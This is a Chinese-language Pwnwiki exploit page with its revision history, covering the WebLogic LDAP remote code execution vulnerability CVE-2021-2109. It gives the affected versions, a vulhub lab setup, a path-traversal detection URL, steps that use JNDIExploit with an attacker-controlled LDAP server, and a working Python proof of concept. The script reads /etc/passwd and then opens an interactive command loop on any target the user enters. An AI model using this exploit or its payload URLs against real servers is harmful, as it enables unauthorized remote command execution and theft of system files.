Pwnwiki: /* 漏洞環境 */

2021-02-27T07:59:07Z

漏洞環境

Pwnwiki at 07:58, 27 February 2021

2021-02-27T07:58:12Z

Pwnwiki at 07:57, 27 February 2021

2021-02-27T07:57:35Z

Pwnwiki: 建立內容為「==漏洞影響== WebLogic Server 10.3.6.0.0 WebLogic Server 12.1.3.0.0 WebLogic Server 12.2.1.3.0 WebLogic Server 12.2.1.4.0 WebLogic Server 14.1.1.0.0 ==…」的新頁面

2021-02-27T07:56:47Z

建立內容為「==漏洞影響== WebLogic Server 10.3.6.0.0 WebLogic Server 12.1.3.0.0 WebLogic Server 12.2.1.3.0 WebLogic Server 12.2.1.4.0 WebLogic Server 14.1.1.0.0 ==…」的新頁面

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==漏洞影響==
WebLogic Server 10.3.6.0.0

WebLogic Server 12.1.3.0.0

WebLogic Server 12.2.1.3.0

WebLogic Server 12.2.1.4.0

WebLogic Server 14.1.1.0.0

==漏洞環境==
<pre>
git clone https://github.com/vulhub/vulhub.git 
cd vulhub/weblogic/CVE-2020-14882 
docker-compose up -d 
</pre>

==漏洞檢測==
訪問<pre>http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252f/consolejndi.portal</pre>
如果有頁面未授權可訪問，且在影響範圍內可能存在漏洞。

==漏洞利用==
下載 [JNDIExploit https://github.com/feihong-cs/JNDIExploit]

<pre>java -jar JNDIExploit-v1.11.jar -i xxx.xxx.xxx.xxx</pre> （xxx.xxx.xxx.xxx表示服務端IP地址）；
然後配合 Weblogic未授權範圍命令執行：

<pre>/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)</pre>

注意 <code>ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho </code>這裡 LDAP服務器地址第三個分隔符號為 <code>;</code>

==POC==
<pre>
注意參數格式 Ldap >>> ldap://xxx.xxx.xxx;xxx:1389 中的分號 
如果使用其他的利用Ldap服務請自行更改 POC關鍵字 
此POC僅僅檢驗有未授權的情況 
</pre>

<pre>
import requests
import sys
import re
requests.packages.urllib3.disable_warnings()
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mVersion: Weblogic 多个版本 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mLDAP >>> ldap://xxx.xxx.xxx;xxx:1389 \033[0m')
print('+------------------------------------------')

def POC_1(target_url, ldap_url, cmd):
vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
print('\033[36m[o] 正在请求: {}'.format(vuln_url))
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"cmd": cmd
}
try:
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if "root:" in response.text:
print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
else:
print("\033[31m[x] 命令执行失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)

def POC_2(target_url, ldap_url, cmd):
vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
print('\033[36m[o] 正在请求: {}'.format(vuln_url))
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"cmd": cmd
}
try:
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[32m[o] 响应为:\n{} \033[0m".format(response))
except Exception as e:
print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
ldap_url = str(input("\033[35mLdap >>> \033[0m"))
POC_1(target_url, ldap_url, cmd="cat /etc/passwd")

while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
sys.exit(0)
else:
POC_2(target_url, ldap_url, cmd)
</pre>

← Older revision		Revision as of 07:58, 27 February 2021
Line 101:		Line 101:
	POC_2(target_url, ldap_url, cmd)		POC_2(target_url, ldap_url, cmd)
	</pre>		</pre>
		+
		+
		+	==參考==
		+	https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ

@@ Line 13: / Line 13: @@
 ==漏洞環境==
 <pre>
-git clone https://github.com/vulhub/vulhub.git <br>
+git clone https://github.com/vulhub/vulhub.git
-cd vulhub/weblogic/CVE-2020-14882 <br>
+cd vulhub/weblogic/CVE-2020-14882
-docker-compose up -d </br>
+docker-compose up -d
 </pre>

@@ Line 23: / Line 23: @@
 ==漏洞利用==
-下載 [JNDIExploit https://github.com/feihong-cs/JNDIExploit]
+下載 [https://github.com/feihong-cs/JNDIExploit JNDIExploit]
 <pre>java -jar JNDIExploit-v1.11.jar -i xxx.xxx.xxx.xxx</pre> （xxx.xxx.xxx.xxx表示服務端IP地址）；

Weblogic LDAP 遠程代碼執行漏洞 CVE-2021-2109 - Revision history

Pwnwiki: /* 漏洞環境 */

Pwnwiki at 07:58, 27 February 2021

Pwnwiki at 07:57, 27 February 2021

Pwnwiki: 建立內容為「==漏洞影響== WebLogic Server 10.3.6.0.0 WebLogic Server 12.1.3.0.0 WebLogic Server 12.2.1.3.0 WebLogic Server 12.2.1.4.0 WebLogic Server 14.1.1.0.0 ==…」的新頁面